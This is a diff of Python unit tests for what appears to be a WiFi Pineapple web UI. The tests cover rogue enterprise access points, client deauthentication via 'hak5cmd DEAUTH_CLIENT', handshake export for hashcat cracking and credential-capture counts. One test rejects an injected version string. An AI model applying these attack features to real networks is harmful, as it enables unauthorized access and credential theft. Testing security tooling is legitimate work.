||||
|
||||
def test_hostapd_unknown_items_parse_pager_error(self):
|
||||
err = ("Line 14: unknown configuration item 'eap_server_identity'\n"
|
||||
"1 errors found in configuration file '/root/loot/enterprise.conf'\n"
|
||||
"Failed to set up interface with /root/loot/enterprise.conf\n"
|
||||
"Failed to initialize interface\n")
|
||||
self.assertEqual(server._hostapd_unknown_items(err), ['eap_server_identity'])
|
||||
|
||||
def test_drop_hostapd_keys_removes_only_named_lines(self):
|
||||
conf = ('interface=wlan1ent\n'
|
||||
'eap_server=1\n'
|
||||
'eap_server_identity=hostapd\n'
|
||||
'dh_file=/tmp/dh.pem\n')
|
||||
new, changed = server._drop_hostapd_keys(
|
||||
conf, ['eap_server_identity', 'dh_file'])
|
||||
self.assertTrue(changed)
|
||||
self.assertIn('eap_server=1', new)
|
||||
self.assertIn('interface=wlan1ent', new)
|
||||
self.assertNotIn('eap_server_identity', new)
|
||||
self.assertNotIn('dh_file=', new)
|
||||
|
||||
def test_start_ent_hostapd_strips_unknown_keys_and_retries(self):
|
||||
with open(server.ENT_CONF, 'w') as f:
|
||||
f.write('interface=wlan1ent\neap_server=1\neap_server_identity=hostapd\n')
|
||||
orig = server.device_run
|
||||
seen = []
|
||||
|
||||
def wrapped(args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
if a and a[0] == '/usr/sbin/hostapd':
|
||||
with open(server.ENT_CONF) as fh:
|
||||
text = fh.read()
|
||||
seen.append(text)
|
||||
if 'eap_server_identity' in text:
|
||||
return (1, '',
|
||||
"Line 3: unknown configuration item 'eap_server_identity'\n"
|
||||
"1 errors found in configuration file '%s'\n"
|
||||
"Failed to initialize interface\n" % server.ENT_CONF)
|
||||
return (0, '', '')
|
||||
return orig(args, timeout=timeout, input_data=input_data)
|
||||
|
||||
server.device_run = wrapped
|
||||
try:
|
||||
rc, _out, _err = server._start_ent_hostapd()
|
||||
finally:
|
||||
server.device_run = orig
|
||||
self.assertEqual(rc, 0)
|
||||
self.assertGreaterEqual(len(seen), 2)
|
||||
with open(server.ENT_CONF) as f:
|
||||
conf = f.read()
|
||||
self.assertNotIn('eap_server_identity', conf)
|
||||
self.assertIn('eap_server=1', conf)
|
||||
|
||||
def test_deploy_validation(self):
|
||||
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'short',
|
||||
'enctype': 'psk2', 'channel': 1}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'channel': 200}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({'kind': 'bogus'}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_stop_wpa_disables_both_bands(self):
|
||||
self.f.state['wireless.wlan0wpa.disabled'] = '0'
|
||||
self.f.state['wireless.wlan1wpa.disabled'] = '0'
|
||||
self.f.state['pineapd.wlan1mon.hop'] = '0'
|
||||
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(self.f.state['wireless.wlan0wpa.disabled'], '1')
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.disabled'], '1')
|
||||
self.assertIn('wlan0wpa', payload['stopped'])
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '1')
|
||||
|
||||
|
||||
class AttacksDeauthTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
self.f._verify = True
|
||||
server.device_run = self.f.device_run
|
||||
server.daemon_sock_call = self.f.daemon_sock_call
|
||||
server._uci_wifi_iface = self.f.uci_iface
|
||||
|
||||
def test_deauth_2g4_uses_wlan0mon_inject(self):
|
||||
status, payload = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
|
||||
'channel': 6}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['inject'], 'wlan0mon')
|
||||
calls = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
|
||||
self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'11:22:33:44:55:66', '6'], calls)
|
||||
|
||||
def test_deauth_5g_keeps_wlan1mon_inject(self):
|
||||
status, payload = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
|
||||
'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['inject'], 'wlan1mon')
|
||||
|
||||
def test_deauth_bad_macs_rejected(self):
|
||||
status, _ = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'nope', 'client': '11:22:33:44:55:66', 'channel': 6}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
|
||||
class AttacksExportTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
self.f._verify = True
|
||||
server.device_run = self.f.device_run
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.f.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[0] == 'ls':
|
||||
return (0, 'a.pcap\nb.cap\n', '')
|
||||
if a[0] == 'hcxpcapngtool':
|
||||
return (0, '', '')
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
|
||||
self._real_exists = os.path.exists
|
||||
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
|
||||
server.os.path.getsize = lambda p: 12
|
||||
|
||||
def tearDown(self):
|
||||
server.os.path.exists = self._real_exists
|
||||
try:
|
||||
os.unlink('/tmp/mk8test.hc22000')
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def test_export_converts_captures(self):
|
||||
status, payload = server.h_attacks_export_hc22000(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['size'], 12)
|
||||
self.assertIn('hashcat -m 22000', payload['hashcat'])
|
||||
hc = [r[0] for r in self.f.runs if r[0][0] == 'hcxpcapngtool'][0]
|
||||
self.assertEqual(hc[1], '-o')
|
||||
self.assertTrue(hc[2].startswith('/root/loot/hc22000/'))
|
||||
self.assertTrue(hc[2].endswith('.hc22000'))
|
||||
self.assertIn('/root/loot/handshakes/a.pcap', hc)
|
||||
self.assertIn('/root/loot/pcap/b.cap', hc)
|
||||
|
||||
|
||||
class AttacksStatusTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.saved = {
|
||||
'_count_table': server._count_table,
|
||||
'_ent_summary': server._ent_summary,
|
||||
'daemon_sock_call': server.daemon_sock_call,
|
||||
'_uci_ap_summary': server._uci_ap_summary,
|
||||
'_read_hop': server._read_hop,
|
||||
}
|
||||
|
||||
def tearDown(self):
|
||||
for name, fn in self.saved.items():
|
||||
setattr(server, name, fn)
|
||||
|
||||
def test_status_exposes_enterprise_ap_for_ui(self):
|
||||
server._count_table = lambda t: {
|
||||
'hostap_handshake': 2, 'hostap_basic': 3, 'hostap_chalresp': 1
|
||||
}.get(t, 0)
|
||||
server._ent_summary = lambda detail=True: {
|
||||
'enabled': True, 'live': True, 'ssid': 'CorpLab',
|
||||
'iface': 'wlan1ent', 'stations': ['AA:BB:CC:DD:EE:FF'],
|
||||
'auth_method': 'mschapv2', 'certs': True, 'captures': 4,
|
||||
'ctrl_linked': True,
|
||||
}
|
||||
server.daemon_sock_call = lambda *a, **k: (200, {'pineape_disabled': False})
|
||||
server._uci_ap_summary = lambda *a, **k: None
|
||||
server._read_hop = lambda: '1'
|
||||
status, payload = server.h_attacks_status(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['enterprise']['ap']['live'])
|
||||
self.assertEqual(payload['enterprise']['ap']['ssid'], 'CorpLab')
|
||||
self.assertEqual(payload['enterprise']['identities'], 3)
|
||||
self.assertEqual(payload['enterprise']['mschapv2'], 1)
|
||||
self.assertEqual(payload['enterprise']['creds'], 4)
|
||||
self.assertEqual(payload['handshakes'], 2)
|
||||
self.assertTrue(payload['enterprise']['pineape']['enabled'])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,101 @@
|
||||
"""Tests for scripts/build_common.py version stamping helpers."""
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'scripts'))
|
||||
import build_common
|
||||
|
||||
|
||||
class BuildCommonTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.dir = tempfile.mkdtemp()
|
||||
self.payload = os.path.join(self.dir, 'user', 'remote_access',
|
||||
'pager-webui')
|
||||
os.makedirs(self.payload)
|
||||
with open(os.path.join(self.dir, '_hak5_manifest.json'), 'w') as f:
|
||||
f.write('{"payload": "pager-webui", "version": "1.3.2"}')
|
||||
with open(os.path.join(self.payload, 'payload.sh'), 'w') as f:
|
||||
f.write('#!/bin/bash\n'
|
||||
'# Title: Mark VIII\n'
|
||||
'# Description: test payload\n'
|
||||
'# Version: 1.3.2\n'
|
||||
'# Category: Remote-Access\n'
|
||||
'\n'
|
||||
'echo hi\n')
|
||||
with open(os.path.join(self.payload, 'server.py'), 'w') as f:
|
||||
f.write('"""Mark VIII server."""\n'
|
||||
'import os\n'
|
||||
'\n'
|
||||
'PORT = 8080\n')
|
||||
|
||||
def tearDown(self):
|
||||
shutil.rmtree(self.dir, ignore_errors=True)
|
||||
|
||||
def _server_text(self):
|
||||
with open(os.path.join(self.payload, 'server.py')) as f:
|
||||
return f.read()
|
||||
|
||||
def test_stamp_version_updates_all_three_files(self):
|
||||
stamped = sorted(build_common.stamp_version(self.dir, '1.4.0'))
|
||||
expected = sorted([
|
||||
os.path.join(self.dir, '_hak5_manifest.json'),
|
||||
os.path.join(self.payload, 'payload.sh'),
|
||||
os.path.join(self.payload, 'server.py'),
|
||||
])
|
||||
self.assertEqual(stamped, expected)
|
||||
with open(os.path.join(self.dir, '_hak5_manifest.json')) as f:
|
||||
self.assertEqual(json.load(f)['version'], '1.4.0')
|
||||
with open(os.path.join(self.payload, 'payload.sh')) as f:
|
||||
sh_text = f.read()
|
||||
self.assertIn('# Version: 1.4.0', sh_text)
|
||||
self.assertNotIn('# Version: 1.3.2', sh_text)
|
||||
server_text = self._server_text()
|
||||
self.assertIn("SERVER_VERSION = '1.4.0'", server_text)
|
||||
self.assertEqual(server_text.count('SERVER_VERSION'), 1)
|
||||
self.assertLess(server_text.index("SERVER_VERSION = '1.4.0'"),
|
||||
server_text.index('\nimport os'))
|
||||
|
||||
def test_stamp_version_is_idempotent_and_upgrades(self):
|
||||
build_common.stamp_version(self.dir, '1.4.0')
|
||||
stamped = build_common.stamp_version(self.dir, '1.5.0')
|
||||
self.assertEqual(len(stamped), 3)
|
||||
server_text = self._server_text()
|
||||
self.assertEqual(server_text.count('SERVER_VERSION'), 1)
|
||||
self.assertIn("SERVER_VERSION = '1.5.0'", server_text)
|
||||
with open(os.path.join(self.payload, 'payload.sh')) as f:
|
||||
self.assertIn('# Version: 1.5.0', f.read())
|
||||
|
||||
def test_server_without_docstring_gets_top_injection(self):
|
||||
path = os.path.join(self.payload, 'server.py')
|
||||
with open(path, 'w') as f:
|
||||
f.write('# comment header\n'
|
||||
'\n'
|
||||
'import os\n'
|
||||
'PORT = 8080\n')
|
||||
build_common.stamp_version(self.dir, '9.9.9')
|
||||
text = self._server_text()
|
||||
lines = text.splitlines(True)
|
||||
idx = [i for i, l in enumerate(lines) if l.startswith('SERVER_VERSION')]
|
||||
self.assertEqual(len(idx), 1)
|
||||
self.assertLess(idx[0], [i for i, l in enumerate(lines)
|
||||
if l.startswith('import os')][0])
|
||||
|
||||
def test_missing_files_are_tolerated(self):
|
||||
empty = tempfile.mkdtemp()
|
||||
try:
|
||||
self.assertEqual(build_common.stamp_version(empty, '1.4.0'), [])
|
||||
finally:
|
||||
shutil.rmtree(empty, ignore_errors=True)
|
||||
|
||||
def test_invalid_version_is_rejected(self):
|
||||
for bad in ("1.4'; import os", '', 'a' * 64, 'ver x'):
|
||||
with self.assertRaises(ValueError):
|
||||
build_common.stamp_version(self.dir, bad)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -69,3 +69,15 @@ class DeviceRunTest(unittest.TestCase):
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
|
||||
class DeviceRunInputTest(unittest.TestCase):
|
||||
def test_str_input_data_is_encoded(self):
|
||||
rc, out, err = server.device_run(['cat'], input_data='uci import text')
|
||||
self.assertEqual(rc, 0)
|
||||
self.assertEqual(out, 'uci import text')
|
||||
|
||||
def test_bytes_input_data_passes_through(self):
|
||||
rc, out, err = server.device_run(['cat'], input_data=b'raw')
|
||||
self.assertEqual(rc, 0)
|
||||
self.assertEqual(out, 'raw')
|
||||
|
||||
@@ -0,0 +1,328 @@
|
||||
import importlib
|
||||
import io
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
from contextlib import redirect_stdout
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
importlib.reload(server)
|
||||
|
||||
|
||||
class EnvCheckTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
fd, self.db = tempfile.mkstemp(suffix='.db')
|
||||
os.close(fd)
|
||||
conn = sqlite3.connect(self.db)
|
||||
conn.execute('CREATE TABLE scan(id INTEGER PRIMARY KEY, time INT, name TEXT)')
|
||||
conn.execute("INSERT INTO scan (time, name) VALUES (1786466531, 'pager')")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
server.RECON_DB = self.db
|
||||
self.runs = []
|
||||
self.ping_ok = True
|
||||
self.daemon_ok = True
|
||||
self.ip_link_ok = True
|
||||
self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
|
||||
self.uci_state = {}
|
||||
server.ENV_CHECK_STATE.update({'report': None, 'overall': None, 'updated': 0,
|
||||
'pool_runtime': None})
|
||||
self.old_iface_up = server._iface_up
|
||||
server._iface_up = lambda name: self.iface_up.get(name, True)
|
||||
self.old_daemon = server.daemon_sock_call
|
||||
self.old_run = server.device_run
|
||||
server.daemon_sock_call = self.fake_daemon
|
||||
server.device_run = self.fake_run
|
||||
|
||||
def tearDown(self):
|
||||
server._iface_up = self.old_iface_up
|
||||
server.daemon_sock_call = self.old_daemon
|
||||
server.device_run = self.old_run
|
||||
try:
|
||||
os.unlink(self.db)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def fake_daemon(self, method, path, body=None, timeout=10):
|
||||
if self.daemon_ok:
|
||||
return 200, {'autossidpool': False}
|
||||
return 0, None
|
||||
|
||||
def fake_run(self, args, timeout=20, input_data=None):
|
||||
self.runs.append(list(args))
|
||||
a = list(args)
|
||||
if a[0] == 'pidof' and a[1] == 'pineapple':
|
||||
return (0, '23456\n', '') if self.daemon_ok else (1, '', '')
|
||||
if a[0] == 'pidof' and a[1] == 'pineapd':
|
||||
return (0, '12345\n', '') if self.ping_ok else (1, '', '')
|
||||
if a[0] == 'uci':
|
||||
if a[1] == 'set':
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci_state[k] = v
|
||||
return (0, '', '')
|
||||
if a[1] == 'delete':
|
||||
for k in list(self.uci_state):
|
||||
if k == a[2] or k.startswith(a[2] + '.'):
|
||||
del self.uci_state[k]
|
||||
return (0, '', '')
|
||||
if a[1] == 'get':
|
||||
return (0, self.uci_state.get(a[2], '') + '\n', '')
|
||||
if a[1] == 'commit':
|
||||
return (0, '', '')
|
||||
if a[1] == 'show':
|
||||
sec = a[2]
|
||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.uci_state.items()
|
||||
if k.startswith(sec + '.')), '')
|
||||
if a[0] == '_pineap':
|
||||
return (0, '', '')
|
||||
if a[:3] == ['ip', 'link', 'set']:
|
||||
if self.ip_link_ok:
|
||||
self.iface_up[a[3]] = True
|
||||
return (0, '', '')
|
||||
return (1, '', 'interface unavailable')
|
||||
if a[0] in ('ip', '/etc/init.d/pineapd'):
|
||||
return (0, '', '')
|
||||
return (0, '', '')
|
||||
|
||||
def safe_set(self):
|
||||
for key, value in server.PINEAPD_SAFE_UCI.items():
|
||||
self.uci_state[key] = value
|
||||
|
||||
def steps(self, report, needle):
|
||||
return [r for r in report if needle in r['detail']]
|
||||
|
||||
def test_pass_when_state_sane(self):
|
||||
self.safe_set()
|
||||
report = server.env_check()
|
||||
self.assertEqual(server.ENV_CHECK_STATE['overall'], 'pass')
|
||||
self.assertEqual([r['ok'] for r in report],
|
||||
['pass'] * len(report))
|
||||
self.assertEqual(server.ENV_CHECK_STATE['pool_runtime'], 'disabled')
|
||||
self.assertNotIn(['_pineap', 'SSIDPOOL', 'DISABLE'], self.runs)
|
||||
|
||||
def test_warns_sane_defaults_when_missing_without_mutating(self):
|
||||
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
|
||||
report = server.env_check()
|
||||
self.assertEqual(
|
||||
self.steps(report, 'live PineAP UCI left unchanged')[0]['ok'], 'warn')
|
||||
self.assertNotIn(['/etc/init.d/pineapd', 'restart'], self.runs)
|
||||
self.assertNotIn(['/etc/init.d/pineapd', 'stop'], self.runs)
|
||||
self.assertFalse(any(a[:2] == ['uci', 'set'] for a in self.runs))
|
||||
self.assertFalse(any(a[:2] == ['uci', 'commit'] for a in self.runs))
|
||||
self.assertFalse(any(a[:2] == ['uci', 'delete'] for a in self.runs))
|
||||
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].ssid'], 'QmVlcg==')
|
||||
for key in server.PINEAPD_SAFE_UCI:
|
||||
self.assertNotIn(key, self.uci_state)
|
||||
|
||||
def test_uci_pass_when_already_set(self):
|
||||
self.safe_set()
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'sane-off UCI defaults already set')[0]['ok'], 'pass')
|
||||
|
||||
def test_does_not_commit_refilled_pool_while_live(self):
|
||||
self.safe_set()
|
||||
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
|
||||
report = server.env_check()
|
||||
actions = ' | '.join((r.get('action') or '') for r in report)
|
||||
self.assertNotIn('pool-list cleared', actions)
|
||||
self.assertIn('pineapd.@ssidpool[0].ssid', self.uci_state)
|
||||
|
||||
def test_restarts_pineapd_when_down(self):
|
||||
self.safe_set()
|
||||
self.ping_ok = False
|
||||
self.pidof_calls = 0
|
||||
real_ping = self.fake_run
|
||||
|
||||
def ping_then_up(args, timeout=20, input_data=None):
|
||||
if args[0] == 'pidof' and args[1] == 'pineapd':
|
||||
self.pidof_calls += 1
|
||||
if self.pidof_calls > 1:
|
||||
return (0, '12345\n', '')
|
||||
return real_ping(args, timeout=timeout, input_data=input_data)
|
||||
|
||||
server.device_run = ping_then_up
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'pineapd was down')[0]['ok'], 'fixed')
|
||||
self.assertIn(['/etc/init.d/pineapd', 'restart'], self.runs)
|
||||
|
||||
def test_fail_when_pineapd_stays_down(self):
|
||||
self.safe_set()
|
||||
self.ping_ok = False
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'did not come back')[0]['ok'], 'fail')
|
||||
self.assertEqual(server.ENV_CHECK_STATE['overall'], 'fail')
|
||||
|
||||
def test_fail_when_daemon_unreachable(self):
|
||||
self.daemon_ok = False
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'daemon unreachable')[0]['ok'], 'fail')
|
||||
self.assertEqual(server.ENV_CHECK_STATE['overall'], 'fail')
|
||||
|
||||
def test_raises_down_monitors(self):
|
||||
self.safe_set()
|
||||
self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'monitor interfaces brought up')[0]['ok'], 'fixed')
|
||||
self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], self.runs)
|
||||
|
||||
def test_unavailable_monitor_fails_startup_contract(self):
|
||||
self.safe_set()
|
||||
self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
|
||||
self.ip_link_ok = False
|
||||
report = server.env_check()
|
||||
step = self.steps(report, 'monitor interfaces unavailable')[0]
|
||||
self.assertEqual(step['ok'], 'fail')
|
||||
self.assertEqual(server.ENV_CHECK_STATE['overall'], 'fail')
|
||||
|
||||
def test_monitors_up_pass(self):
|
||||
self.safe_set()
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'monitors up')[0]['ok'], 'pass')
|
||||
|
||||
def test_recon_db_unreadable_fails(self):
|
||||
self.safe_set()
|
||||
os.unlink(self.db)
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'recon DB unreadable')[0]['ok'], 'fail')
|
||||
self.assertEqual(server.ENV_CHECK_STATE['overall'], 'fail')
|
||||
|
||||
def test_recon_db_readable_reports_count(self):
|
||||
self.safe_set()
|
||||
report = server.env_check()
|
||||
step = self.steps(report, 'recon DB readable')[0]
|
||||
self.assertEqual(step['ok'], 'pass')
|
||||
self.assertIn('(1 scans)', step['detail'])
|
||||
|
||||
def test_wlan0_pinned_warns(self):
|
||||
self.safe_set()
|
||||
self.uci_state['wireless.wlan0wpa.disabled'] = '0'
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, '2.4GHz under-sampled')[0]['ok'], 'warn')
|
||||
|
||||
def test_wlan0_not_pinned_when_absent(self):
|
||||
self.safe_set()
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'no radio0 AP pins wlan0mon')[0]['ok'], 'pass')
|
||||
|
||||
def test_wlan0_not_pinned_when_disabled(self):
|
||||
self.safe_set()
|
||||
self.uci_state['wireless.wlan0open.disabled'] = '1'
|
||||
self.uci_state['wireless.wlan0wpa.disabled'] = '1'
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'no radio0 AP pins wlan0mon')[0]['ok'], 'pass')
|
||||
|
||||
def test_sta_uplink_warns_when_enabled_without_mutating(self):
|
||||
self.safe_set()
|
||||
self.uci_state['wireless.dummy_radio0.mode'] = 'sta'
|
||||
self.uci_state['wireless.dummy_radio0.ifname'] = 'wlan0'
|
||||
self.uci_state['wireless.dummy_radio0.disabled'] = '0'
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'dummy_radio0 STA uplink is enabled')[0]['ok'], 'warn')
|
||||
self.assertEqual(self.uci_state['wireless.dummy_radio0.disabled'], '0')
|
||||
self.assertNotIn(['ip', 'link', 'set', 'wlan0', 'down'], self.runs)
|
||||
self.assertNotIn(['wifi', 'reload'], self.runs)
|
||||
self.assertFalse(any(
|
||||
a[:2] == ['uci', 'set'] and 'dummy_radio0' in a[2]
|
||||
for a in self.runs if len(a) > 2))
|
||||
|
||||
def test_sta_uplink_pass_when_absent(self):
|
||||
self.safe_set()
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'no STA uplink pinning phy0')[0]['ok'], 'pass')
|
||||
|
||||
def test_sta_uplink_pass_when_disabled(self):
|
||||
self.safe_set()
|
||||
self.uci_state['wireless.dummy_radio0.mode'] = 'sta'
|
||||
self.uci_state['wireless.dummy_radio0.disabled'] = '1'
|
||||
report = server.env_check()
|
||||
self.assertEqual(self.steps(report, 'no STA uplink pinning phy0')[0]['ok'], 'pass')
|
||||
|
||||
def test_recon_status_exposes_sta(self):
|
||||
self.safe_set()
|
||||
self.uci_state['wireless.dummy_radio0.mode'] = 'sta'
|
||||
status, payload = server.h_recon_status(type('C', (), {'query': {}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['wlan0_sta'])
|
||||
|
||||
def test_cli_exits_zero_on_pass(self):
|
||||
self.safe_set()
|
||||
buf = io.StringIO()
|
||||
with redirect_stdout(buf):
|
||||
code = server.env_check_cli()
|
||||
self.assertEqual(code, 0)
|
||||
self.assertIn('[PASS]', buf.getvalue())
|
||||
self.assertIn('ENVIRONMENT CHECK: PASS', buf.getvalue())
|
||||
|
||||
def test_cli_exits_one_on_fail(self):
|
||||
self.safe_set()
|
||||
self.daemon_ok = False
|
||||
buf = io.StringIO()
|
||||
with redirect_stdout(buf):
|
||||
code = server.env_check_cli()
|
||||
self.assertEqual(code, 1)
|
||||
self.assertIn('[FAIL]', buf.getvalue())
|
||||
|
||||
def test_startup_check_retries_core_failure(self):
|
||||
reports = [
|
||||
[{'ok': 'fail', 'detail': 'daemon unreachable'}],
|
||||
[{'ok': 'pass', 'detail': 'daemon reachable'}],
|
||||
]
|
||||
old_check = server.env_check
|
||||
old_sleep = server.time.sleep
|
||||
|
||||
def check():
|
||||
report = reports.pop(0)
|
||||
server.ENV_CHECK_STATE['overall'] = report[0]['ok']
|
||||
return report
|
||||
|
||||
server.env_check = check
|
||||
server.time.sleep = lambda seconds: None
|
||||
try:
|
||||
result = server.startup_env_check(attempts=2, delay=0)
|
||||
finally:
|
||||
server.env_check = old_check
|
||||
server.time.sleep = old_sleep
|
||||
self.assertEqual(result[0]['ok'], 'pass')
|
||||
|
||||
def test_startup_check_raises_after_retries(self):
|
||||
old_check = server.env_check
|
||||
old_sleep = server.time.sleep
|
||||
|
||||
def check():
|
||||
server.ENV_CHECK_STATE['overall'] = 'fail'
|
||||
return [{'ok': 'fail', 'detail': 'daemon unreachable'}]
|
||||
|
||||
server.env_check = check
|
||||
server.time.sleep = lambda seconds: None
|
||||
try:
|
||||
with self.assertRaises(RuntimeError):
|
||||
server.startup_env_check(attempts=2, delay=0)
|
||||
finally:
|
||||
server.env_check = old_check
|
||||
server.time.sleep = old_sleep
|
||||
|
||||
def test_health_exposes_env_and_pool_runtime(self):
|
||||
self.safe_set()
|
||||
server.env_check()
|
||||
status, payload = server.h_health(type('C', (), {'query': {}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['pool_runtime'], 'disabled')
|
||||
self.assertEqual(payload['env']['overall'], 'pass')
|
||||
self.assertEqual(payload['env']['counts']['pass'], len(payload['env']['steps']))
|
||||
|
||||
def test_recon_status_exposes_wlan0_pinned(self):
|
||||
self.safe_set()
|
||||
self.uci_state['wireless.wlan0open.disabled'] = '0'
|
||||
status, payload = server.h_recon_status(type('C', (), {'query': {}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['wlan0_pinned'])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,310 @@
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
from unittest import mock
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
class HealthCheckTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.runs = []
|
||||
self.ping_ok = True
|
||||
self.ip_link_ok = True
|
||||
self.sigsegvs = 0
|
||||
self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
|
||||
self.uci_state = {}
|
||||
server._health.update({
|
||||
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
|
||||
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
|
||||
self.old_iface_up = server._iface_up
|
||||
server._iface_up = lambda name: self.iface_up.get(name, True)
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), timeout))
|
||||
a = list(args)
|
||||
if a[0] == 'pidof' and a[1] == 'pineapd':
|
||||
if self.ping_ok:
|
||||
return (0, '12345\n', '')
|
||||
return (1, '', '')
|
||||
if a[0] == 'logread':
|
||||
return (0, 'SIGSEGV\n' * self.sigsegs if hasattr(self, 'sigsegs') else '', '')
|
||||
if a[:3] == ['ip', 'link', 'set']:
|
||||
if self.ip_link_ok:
|
||||
self.iface_up[a[3]] = True
|
||||
return (0, '', '')
|
||||
return (1, '', 'interface unavailable')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci_state[k] = v
|
||||
if a[:2] == ['uci', 'delete']:
|
||||
for k in list(self.uci_state):
|
||||
if k == a[2] or k.startswith(a[2] + '.'):
|
||||
del self.uci_state[k]
|
||||
if a[:2] == ['uci', 'get']:
|
||||
return (0, self.uci_state.get(a[2], '') + '\n', '')
|
||||
if a[0] == 'uci' and a[1] == 'show':
|
||||
sec = a[2]
|
||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.uci_state.items()
|
||||
if k == sec or k.startswith(sec + '.')), '')
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
|
||||
def tearDown(self):
|
||||
server._iface_up = self.old_iface_up
|
||||
|
||||
def test_pineap_up_reports_no_action(self):
|
||||
result = server.health_check()
|
||||
self.assertTrue(result['pineap_up'])
|
||||
self.assertIsNone(result['last_action'])
|
||||
self.assertEqual([r[0] for r in self.runs], [['pidof', 'pineapd']],
|
||||
'health check must not write to the pineapd socket')
|
||||
|
||||
def test_pineap_up_repairs_dropped_monitors(self):
|
||||
